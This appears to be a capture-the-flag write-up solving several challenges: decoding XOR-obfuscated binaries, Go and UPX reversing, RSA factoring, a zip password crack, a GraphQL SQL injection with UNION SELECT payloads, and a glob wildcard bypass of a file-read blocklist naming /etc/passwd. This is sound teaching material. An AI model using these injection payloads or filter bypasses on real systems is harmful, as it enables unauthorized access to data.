x and or

Reverse Engineering – 392pts

Solution

For this challenge we get a ELF binary.

file x-and-or 
x-and-or: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d75c2db8d7b1c77fd65762741f73b19aba4f2815, for GNU/Linux 3.2.0, not stripped

Lets open it up in Ghidra. In the main function we see the flag check.

undefined8 main(void)
{
  int correct;
  size_t endIdx;
  long in_FS_OFFSET;
  char input [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter the flag: ");
  fgets(input,0x100,stdin);
  endIdx = strcspn(input,"\r\n");
  input[endIdx] = '\0';
  endIdx = strnlen(input,0x100);
  correct = (*code)(input,endIdx & 0xffffffff,endIdx & 0xffffffff,code);
  if (correct == 0) {
    puts("That is the flag!!!!");
  }
  else {
    puts("That is not the flag.");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

So the address to the flag check function is stored in the code pointer. Now we need to find out where it’s assigned so we can find the correct function. Checking the xrefs for code we can see that it’s written to in the init function.

XREF[4]:     Entry Point(*), init:001010c7(W), init:001010e4(R), main:0010128e(R)  

Lets check out the init function.

int init(EVP_PKEY_CTX *ctx)
{
  long idx;
  
  code = (undefined *)mmap((void *)0x0,0x1000,7,0x22,0,0);
  *code = 0x55;
  idx = 1;
  do {
    code[idx] = (&check_password)[idx] ^ 0x42;
    idx = idx + 1;
  } while (idx != 500);
  return 500;
}

So the init function decodes the data stored at check_password and stores the decoded function in the memory. Lets write a script to decode the check_password function and dump it to a binary file for disassembly.

#!/usr/bin/env python3

encoded = [0x17, 0x0A, 0xCB, 0xA7, 0x0A, 0xC1, 0xAE, 0x12, 0x0A, 0xCB, 0x3F, 0xFA, 0xCB, 0x37, 0xF6, 0x26, 0x0A, 0xC9, 0x46, 0x67, 0x6A, 0x42, 0x42, 0x42, 0x0A, 0xCB, 0x07, 0xBA, 0x73, 0x82, 0x0A, 0xFA, 0x24, 0x2F, 0x2B, 0x3E, 0x79, 0x0A, 0x74, 0x73, 0x0A, 0xF8, 0x7C, 0x6A, 0x35, 0x5B, 0x21, 0x73, 0x2E, 0x3A, 0x0A, 0xCB, 0x07, 0x92, 0x0A, 0xCB, 0x17, 0x9A, 0x0A, 0xFA, 0x66, 0x0C, 0x71, 0x21, 0x7F, 0x3F, 0x64, 0x0C, 0x0A, 0xF8, 0x75, 0x7B, 0x72, 0x69, 0x61, 0x5E, 0x73, 0x73, 0x0A, 0xCB, 0x07, 0xA2, 0x0A, 0xCB, 0x17, 0xAA, 0x85, 0x07, 0xB2, 0x28, 0x6B, 0x36, 0x59, 0x24, 0x85, 0x07, 0xB6, 0x20, 0x3E, 0x84, 0x07, 0xB4, 0x42, 0x85, 0x07, 0x8E, 0x64, 0x42, 0x42, 0x42, 0xC9, 0x07, 0x8E, 0x79, 0x07, 0xF6, 0x36, 0x48, 0xFA, 0xBD, 0xBD, 0xBD, 0xBD, 0xAB, 0x90, 0x42, 0x42, 0x42, 0x85, 0x07, 0x8A, 0x42, 0x42, 0x42, 0x42, 0xAB, 0xF7, 0x42, 0x42, 0x42, 0xC9, 0x07, 0x8A, 0x0A, 0xDA, 0x4D, 0xF4, 0x06, 0x47, 0x92, 0x4D, 0xFC, 0xBA, 0xC9, 0x17, 0x8A, 0x0A, 0x21, 0x80, 0x0A, 0x2B, 0x82, 0xE9, 0xE8, 0xE8, 0x68, 0x0A, 0x83, 0xAA, 0x62, 0xCB, 0x94, 0x83, 0xBC, 0x5D, 0xCB, 0x83, 0x6B, 0xB3, 0xCB, 0x8A, 0x43, 0x82, 0x43, 0x8A, 0x43, 0x82, 0xCB, 0x93, 0x6B, 0x83, 0xC9, 0x37, 0x8A, 0x0A, 0x21, 0x84, 0x0A, 0x2B, 0x82, 0xE9, 0xE8, 0xE8, 0x68, 0x0A, 0x83, 0xAA, 0x62, 0x03, 0xCB, 0xB2, 0x03, 0x83, 0xBA, 0x5D, 0xCB, 0x80, 0x06, 0x6B, 0x80, 0xCB, 0x92, 0x43, 0x82, 0x43, 0x92, 0x43, 0x82, 0x6B, 0x84, 0xCB, 0xB0, 0xCB, 0x8C, 0x4D, 0xED, 0xB0, 0xC9, 0x0F, 0x8A, 0x0A, 0x21, 0x83, 0x0A, 0x2B, 0x82, 0xE9, 0xE8, 0xE8, 0x68, 0x0A, 0x83, 0xAA, 0x62, 0x03, 0xCB, 0x8A, 0x03, 0x83, 0xBA, 0x5D, 0xCB, 0x80, 0x06, 0x6B, 0x80, 0xCB, 0x92, 0x43, 0x82, 0x43, 0x92, 0x43, 0x82, 0x6B, 0x83, 0xCB, 0x88, 0xCB, 0xB2, 0x4D, 0xED, 0x80, 0x73, 0x85, 0xCB, 0xB8, 0xC9, 0x07, 0x8A, 0x0A, 0x21, 0x8A, 0x0A, 0xC9, 0x07, 0xFA, 0x0A, 0x43, 0x8A, 0x4D, 0xF4, 0x42, 0x4D, 0xFC, 0x82, 0x7B, 0x80, 0x36, 0x45, 0xFA, 0xBD, 0xBD, 0xBD, 0xBD, 0xA9, 0x57, 0xC1, 0x07, 0x8A, 0x43, 0xC9, 0x07, 0x8A, 0x79, 0x07, 0x8E, 0x4D, 0xCE, 0x7D, 0xBD, 0xBD, 0xBD, 0xFA, 0x42, 0x42, 0x42, 0x42, 0x0A, 0xC9, 0x3F, 0xBA, 0x26, 0x0A, 0x69, 0x7E, 0x67, 0x6A, 0x42, 0x42, 0x42, 0x36, 0x47, 0xAA, 0x42, 0x42, 0x42, 0x42, 0x8B, 0x81]
decoded = []

for byte in encoded:
    decoded.append(byte ^ 0x42)

fh = open('out.bin', 'wb')

fh.write(bytearray(decoded))
fh.close()

Now we can open out.bin in Ghidra and take a look at the check_password function.

undefined8 FUN_00000000(long input,int input_len)
{
  undefined8 uVar1;
  long in_FS_OFFSET;
  int idx;
  undefined8 flag;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined4 local_18;
  undefined2 local_14;
  undefined local_12;
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  flag = 0x3136483b7c696d66;
  local_30 = 0x786c31631977283e;
  local_28 = 0x4e267d3d63334e24;
  local_20 = 0x31311c232b303937;
  local_18 = 0x1b74296a;
  local_14 = 0x7c62;
  local_12 = 0;
  if (input_len == 0x26) {
    idx = 0;
    while (idx < 0x26) {
      if (((int)*(char *)((long)&flag + (long)idx) ^ (idx % 6) * (idx % 6) * (idx % 6)) !=
          (int)*(char *)(input + idx)) {
        return 0xffffffff;
      }
      idx = idx + 1;
    }
    uVar1 = 0;
  }
  else {
    uVar1 = 0xffffffff;
  }
  return uVar1;
}

Ok, we got an encoded flag string and a loop that compares each decoded character in the flag string with the input. So we should be able to decode the flag string using the same operations used in the loop. Lets write a flag decoder.

#!/usr/bin/env python3

import struct

encoded_flag = struct.pack('<QQQQIH', 0x3136483b7c696d66, 0x786c31631977283e, 0x4e267d3d63334e24, 0x31311c232b303937, 0x1b74296a, 0x7c62)
flag = []

for idx in range(0, len(encoded_flag)):
    char = encoded_flag[idx] ^ (idx % 6) * (idx % 6) * (idx % 6)
    flag.append(chr(char))

print(''.join(flag))

When we run this we get the correct flag.

flag{560637dc0dcd33b5ff37880ca10b24fb}

hash

Reverse Engineering – 479pts

Description

I received a corrupted program the keys are probably lost within the game can you just find it for me to get the flag?.

Solution

Here we have another ELF binary.

file keyjoinfile
keyjoinfile: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header

When we open this in a disassembler we quickly see that it’s compressed with UPX. So we need to decompress the binary with upx -d keyjoinfile and open the decompressed file.

When we have opened the decompressed binary in IDA we can see a call to main__main in the main function. This tells us that it’s a Go binary, so the main functionality will reside in the main__main function. Lets take a look at the main__main function.

Here we can see two calls to the main__one and main__two functions, which will never be called due to the 0x17 == 0x2D and 0x98C == 0x4C checks before each call. Lets check out what the functions do. Checking out main__one we find one interesting part.

The jump to the “You don’t have…” message is again a check that will always evaluate to false, so the jump is always taken. Analysing the other path we can see that an array is created and the loop at loc_806207E pushes the values 2 to 11 onto the array. When the loop is done we get to the following code.

Here the array is sliced from index 2 to 8 giving us the values 4, 5, 6, 7, 8 and 9. Then those values are converted from int values to strings and then printed. So our first part of the flag is 456789.

Now we need to get the second part of the key. Lets take a look at the main__two function.

Here an array is created from the values JKLq5. And as before the jump at the end will always be taken and leads to a failed message.

Lets take a look at the other branch and see what it does.

Here another array is created with the values 9U1337, then the previous array and the new array are merged creating an array with the values JKLq59U1337. Now we have the complete flag.

flag{456789JKLq59U1337}

Ware

Reverse Engineering – 462pts

Description

My plaintext has been encrypted by an innocent friend of mine while playing around cryptographic libraries, can you help me to recover the plaintext , remembers it’s just numbers and there’s a space between some numbers which you need to remove the space and submit the recovered plain text as a flag.

Solution

Attached is another UPX compressed ELF binary. After decompressing it with upx -d skidw4re we can begin our analysis. When opening the binary in IDA we can see that this is a Go binary, so lets take a look at main__main. Here we find a call to main_Encryptfinal

Taking a look at main_Encryptfinal we find this block of code at the start of the function.

flag{32117406899806798980909}

Cage

Reverse Engineering – 486pts

Description

Are you aware of the scopes yet?

Solution

Opening the binary in IDA reveals that this is another Go binary. When taking a look at the main_main function we can find a call to a function called main_one, which is a huge function which basically reads input five times and compares the input to some hard coded values.

At the start of each compare block we can see a hard coded value, adding all the values gives us the flag.

mov     dword ptr [ebp-390h], offset a0xm4 ; "0xm4"
mov     dword ptr [ebp-380h], offset aTr ; "tr"
mov     dword ptr [ebp-370h], offset a1x ; "1x"
mov     dword ptr [ebp-360h], offset aRe ; "re"
mov     dword ptr [ebp-350h], offset aAl ; "al"
flag{0xm4tr1xreal}

WrongDownload

Reverse Engineering – 475pts

Description

My key has been missing inside these two binaries can you help me to find it out ,as per my friend the key is divided in two parts between the two binaries so, remember you need to join them up before submitting as a flag.

Solution

For this challenge we get two binaries, both Go ELF executables.

file unknown
unknown: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=0897d7ae0900bab1e4ae144e804c0c47438e5df5, with debug_info, not stripped

file unknown2 
unknown2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=998c40081e305772545f4a65c41b066517f5456e, with debug_info, not stripped

Starting with unknown we can find some values being assigned in the main_main function.

The last three values are concatenated to create one string, so our best bet is that those are the first part of the flag. So we got S6c56bnXQiBjk9mq as the first part. Now lets check out unknown2. As with unknown we can find some values being assigned in the main_main function.

So the second part of the flag is SYE7ykVQ7NzrRy.

flag{S6c56bnXQiBjk9mqSYE7ykVQ7NzrRy}

Backupkeys

Reverse Engineering – 480pts

Description

Can you recover my backup keys to get the flag , they probably are hardcoded ?

Solution

Here we have another UPX compressed Go binary. When analysing the main_main function we can find the following code at the end.

Here we have the string Hardcoded,passwords,are,useless assigned to a variable. Then the string is split for each comma. If we remove all commas from the assigned string we have the flag.

flag{Hardcodedpasswordsareuseless}

graphed 2.0

Web – 384pts

Description

graphed notes is finally here !!!!!! but it looks like something is still broken with that site

Solution

For this challenge we have a web application for notes.

When we try to submit a new note we get a message telling us that the functionality is disabled.

Taking a look at the page source reveals some commented calls to a graphql api.

<script>
    function create_note() {
        alert("sorry but this functionality is disabeled due to technical problems");
	//query_data = `mutation {createNote(body:${document.getElementById("note-content").value}, title:"anon note", username:"guest"){note{uuid}}}`;
        //fetch(`/graphql?query=mutation{createNote(body:"ww", title:"anon note", username:"guest"){note{uuid}}}`, {method: "POST"});
    }
</script>

Great, time for some graphql-introspection. Sending the query /graphql?query=%7B__schema%7Btypes%7Bname%2Cfields%7Bname%7D%7D%7D%7D reveals the following about the schema.

{
  "name": "Query",
  "fields": [
    {
      "name": "node"
    },
    {
      "name": "allNotes"
    },
    {
      "name": "allUsers"
    },
    {
      "name": "coolNotes"
    },
    {
      "name": "getNote"
    }
  ]
},
{
  "name": "Mutation",
  "fields": [
    {
      "name": "createNote"
    }
  ]
},

Trying out the queries, the only interesting query is the getNote query. When sending the query {“query”: “query {\n\tgetNote(q:\”4\”) {\n\t\tauthor {\n\t\t\tuuid\n\t\t\tid\n\t\t}\n\t\ttitle\n\t\tbody\n\t\tauthorId\n\t\tuuid\n\t\tid\n\t}\n}”} we receive the following result.

{"errors":[{"message":"Received incompatible instance \"(4, 'omg you got the flag', 'CUCTF{graphql_d3f1n1tely_1s_the_futur30985}', 2)\"."}],"data":{"getNote":[null]}}

So we receive an error message. Now lets see if there’s some injection vulnerability. Lets try to send the following query and see what we receive.

query {
  getNote (q:"1'"){
    title
    body
  }
}
{
  "errors": [
    {
      "message": "(sqlite3.OperationalError) unrecognized token: \"'1''\"\n[SQL: SELECT * FROM NOTES where uuid='1'']\n(Background on this error at: http://sqlalche.me/e/13/e3q8)",
      "locations": [
        {
          "line": 2,
          "column": 3
        }
      ],
      "path": [
        "getNote"
      ]
    }
  ],
  "data": {
    "getNote": null
  }
}

So we found a SQLi vulnerability and we know that the database engine is sqlite3. Now we can dump the table names.

query {
  getNote (q:"1' UNION SELECT 1,2,3,tbl_name FROM sqlite_master WHERE type='table' --"){
    title
    body
  }
}
{
  "errors": [
    {
      "message": "Received incompatible instance \"(1, 2, 3, 'Notes')\"."
    },
    {
      "message": "Received incompatible instance \"(1, 2, 3, 'users')\"."
    },
    {
      "message": "Received incompatible instance \"(1, 2, 3, 'العلم')\"."
    },
    {
      "message": "Received incompatible instance \"(1, 'graphed a note sharing site', 'graphed beta is one of the most secure note sharing sites', 1)\"."
    }
  ],
  "data": {
    "getNote": [
      null,
      null,
      null,
      null
    ]
  }
}

So we got three tables in the database. Lets check out the column names of the العلم table.

query {
  getNote (q:"1' UNION SELECT 1,2,3,sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='العلم' --"){
    title
    body
  }
}
{
  "errors": [
    {
      "message": "Received incompatible instance \"(1, 2, 3, 'CREATE TABLE العلم (id INTEGER PRIMARY KEY, flag TEXT NOT NULL)')\"."
    },
    {
      "message": "Received incompatible instance \"(1, 'graphed a note sharing site', 'graphed beta is one of the most secure note sharing sites', 1)\"."
    }
  ],
  "data": {
    "getNote": [
      null,
      null
    ]
  }
}

The table contains a column named flag, that sounds promising. Lets get the values of that column.

query {
  getNote (q:"' UNION SELECT 1,2,3,flag FROM العلم --"){
    title
    body
  }
}
{
  "errors": [
    {
      "message": "Received incompatible instance \"(1, 2, 3, \"flag{h0p3_u_can't_r3@d_1t9176}\")\"."
    }
  ],
  "data": {
    "getNote": [
      null,
      null
    ]
  }
}

Nice, we got the flag.

flag{h0p3_u_can't_r3@d_1t9176}

factorize

Cryptography – 232pts

Description

c: 17830167351685057470426148820703481112309475954806278304600862043185650439097181747043204885329525211579732614665322698426329449125482709124139851522121862053345527979419420678255168453521857375994190985370640433256068675028575470040533677286141917358212661540266638008376296359267047685745805295747215450691069703625474047825597597912415099008745060616375313170031232301933185011013735135370715444443319033139774851324477224585336813629117088332254309481591751292335835747491446904471032096338134760865724230819823010046719914443703839473237372520085899409816981311851296947867647723573368447922606495085341947385255
n: 23135514747783882716888676812295359006102435689848260501709475114767217528965364658403027664227615593085036290166289063788272776788638764660757735264077730982726873368488789034079040049824603517615442321955626164064763328102556475952363475005967968681746619179641519183612638784244197749344305359692751832455587854243160406582696594311842565272623730709252650625846680194953309748453515876633303858147298846454105907265186127420148343526253775550105897136275826705375222242565865228645214598819541187583028360400160631947584202826991980657718853446368090891391744347723951620641492388205471242788631833531394634945663

Solution

Attached to the challenge is the source code for the encryption used to encrypt c.

import binascii
import random
from Crypto.Util.number import isPrime

flag = open("flag.txt", "rb").read().strip()
m = int(binascii.hexlify(flag), 16)

def genPrimes(size):
    base = random.getrandbits(size // 2) << size // 2
    base = base | (1 << 1023) | (1 << 1022) | 1
    while True:
        temp = base | random.getrandbits(size // 2)
        if isPrime(temp):
            p = temp
            break
    while True:
        temp = base | random.getrandbits(size // 2)
        if isPrime(temp):
            q = temp
            break
    return (p, q)

p, q = genPrimes(1024)
n = p * q
e = 0x10001

print("c:", pow(m, e, n))

Now we got c, n and e. Now we need to factorize n to get p and q so we can calculate phi and d. Using this integer factorization calculator we can find the values of p and q.

p = 152103631606164757991388657189704366976433537820099034648874538500153362765519668135545276650144504533686483692163171569868971464706026329525740394016509185464641520736454955410019736330026303289754303711165526821866422766844554206047678337249535003432035470125187072461808523973483360158652600992259609986591
q = 152103631606164757991388657189704366976433537820099034648874538500153362765519668135545276650144504533686483692163171569868971464706026329525740394016509191077550351496973264159350455849525747355370985161471258126994336297660442739951587911017897809328177973473427538782352524239389465259173507406981248869793

Now we got all values needed to decrypt c. Lets write a python script to decrypt it for us.

#!/usr/bin/env python3

from Crypto.Util.number import inverse

c = 17830167351685057470426148820703481112309475954806278304600862043185650439097181747043204885329525211579732614665322698426329449125482709124139851522121862053345527979419420678255168453521857375994190985370640433256068675028575470040533677286141917358212661540266638008376296359267047685745805295747215450691069703625474047825597597912415099008745060616375313170031232301933185011013735135370715444443319033139774851324477224585336813629117088332254309481591751292335835747491446904471032096338134760865724230819823010046719914443703839473237372520085899409816981311851296947867647723573368447922606495085341947385255
n = 23135514747783882716888676812295359006102435689848260501709475114767217528965364658403027664227615593085036290166289063788272776788638764660757735264077730982726873368488789034079040049824603517615442321955626164064763328102556475952363475005967968681746619179641519183612638784244197749344305359692751832455587854243160406582696594311842565272623730709252650625846680194953309748453515876633303858147298846454105907265186127420148343526253775550105897136275826705375222242565865228645214598819541187583028360400160631947584202826991980657718853446368090891391744347723951620641492388205471242788631833531394634945663
e = 0x10001
p = 152103631606164757991388657189704366976433537820099034648874538500153362765519668135545276650144504533686483692163171569868971464706026329525740394016509185464641520736454955410019736330026303289754303711165526821866422766844554206047678337249535003432035470125187072461808523973483360158652600992259609986591
q = 152103631606164757991388657189704366976433537820099034648874538500153362765519668135545276650144504533686483692163171569868971464706026329525740394016509191077550351496973264159350455849525747355370985161471258126994336297660442739951587911017897809328177973473427538782352524239389465259173507406981248869793

phi = (p - 1) * (q - 1)
d = inverse(e, phi)

m = pow(c, d, n)

print(bytes.fromhex(hex(m)[2:]).decode('utf-8'))

When running this we get the flag.

flag{just_g0tta_f@ct0rize_1t4536}

0x414141

Misc – 454pts

Description

I think offshift promised to opensource some of their code

Solution

We need to find some code open sourced by Offshift, lets see what we can find when searching for offshift github.

So we found two github accounts that has the name offshift in them. The offshift-dev account contains one repository that doesn’t seem to be the one we are looking for. The offshift-protocol account on the other hand contains one repository named promo which was recently updated. Lets take a closer look at that.

The index.html and style.css contains no interesting information. Lets check out the commit history.

Lets take a look at the previous commit to find out what the __pycache__ directory contained.

A compiled python script. When we download and decompile this we get the following script.

# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.7 (default, Dec 22 2020, 10:37:26) 
# [GCC 10.2.1 20201207]
# Embedded file name: ./script.py
# Compiled at: 2020-12-12 14:17:01
# Size of source mod 2**32: 481 bytes
import base64
secret = 'https://google.com'
cipher2 = [b'NDE=', b'NTM=', b'NTM=', b'NDk=', b'NTA=', b'MTIz', b'MTEw', b'MTEw', b'MzI=', b'NTE=', b'MzQ=', b'NDE=', b'NDA=', b'NTU=', b'MzY=', b'MTEx', b'NDA=', b'NTA=', b'MTEw', b'NDY=', b'MTI=', b'NDU=', b'MTE2', b'MTIw']
cipher1 = [base64.b64encode(str(ord(i) ^ 65).encode()) for i in secret]
# okay decompiling script.cpython-38.pyc

A simple encoding algorithm. Lets decode cipher2 and find out what that contains.

import base64
cipher2 = [b'NDE=', b'NTM=', b'NTM=', b'NDk=', b'NTA=', b'MTIz', b'MTEw', b'MTEw', b'MzI=', b'NTE=', b'MzQ=', b'NDE=', b'NDA=', b'NTU=', b'MzY=', b'MTEx', b'NDA=', b'NTA=', b'MTEw', b'NDY=', b'MTI=', b'NDU=', b'MTE2', b'MTIw']

plaintext = [chr(int(base64.b64decode(i).decode()) ^ 65) for i in cipher2]

print(''.join(plaintext))

When we run this we get an URL: https://archive.is/oMl59. The URL takes us to a forum message.

Downloading the “super secret random file” we get a file called smashing.pdf, but it’s corrupted. Taking a look at the file in a hex editor we can see that it doesn’t have a valid PDF header. XOR:ing the bytes of a valid PDF header and the first bytes in the file reveals that the file is XOR:ed with 0x41. Lets restore the file.

data = open('smashing.pdf', 'rb').read()
output = open('decoded.pdf', 'wb')
val = []

for c in data:
    val.append(int(c) ^ 0x41)

output.write(bytes(val))
output.close()

When opening the PDF it contains no interesting information. When opening the decoded file in a hex editor we can find out that a Zip file is embedded at the end of the file.

When we have extracted the Zip file from the PDF we can try to unzip it, but it turns out that it’s password protected.

unzip flag.zip 
Archive:  flag.zip
[flag.zip] flag.txt password:

Time to try to crack the password.

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt flag.zip 

PASSWORD FOUND!!!!: pw == passwd

Great. Now we can unzip the file.

unzip flag.zip
Archive:  flag.zip
[flag.zip] flag.txt password: 
 extracting: flag.txt

And in flag.txt we find the flag.

cat flag.txt 
oh ma gawd you got it 

flag{1t_b33n_A_l0ng_w@y8742}

file reader

Misc – 459pts

Description

hello guys, I started this new service check note.txt file for a sanity check

Solution

Attached to the challenge is the source code for the service.

import glob

blocked = ["/etc/passwd", "/flag.txt", "/proc/"]

def read_file(file_path):
    for i in blocked:
        if i in file_path:
                return "you aren't allowed to read that file"
    
    try:
        path = glob.glob(file_path)[0]
    except:
        return "file doesn't exist"
    
    return open(path, "r").read()

user_input = input("> ")
print(read_file(user_input))

We got some blacklisted file names in the blocked array, lets see what we can do with the service. When connecting we get the promt asking us for a file to read.

give me a file to read
>

So lets try to read the note.txt file stated in the description.

give me a file to read
> note.txt
hello

When we try to read /flag.txt we get the expected fail message.

give me a file to read
> /flag.txt
you aren't allowed to read that file

What about wildcards? Lets try to read /f*.

give me a file to read
> /f*
flag{oof_1t_g0t_expanded_93929}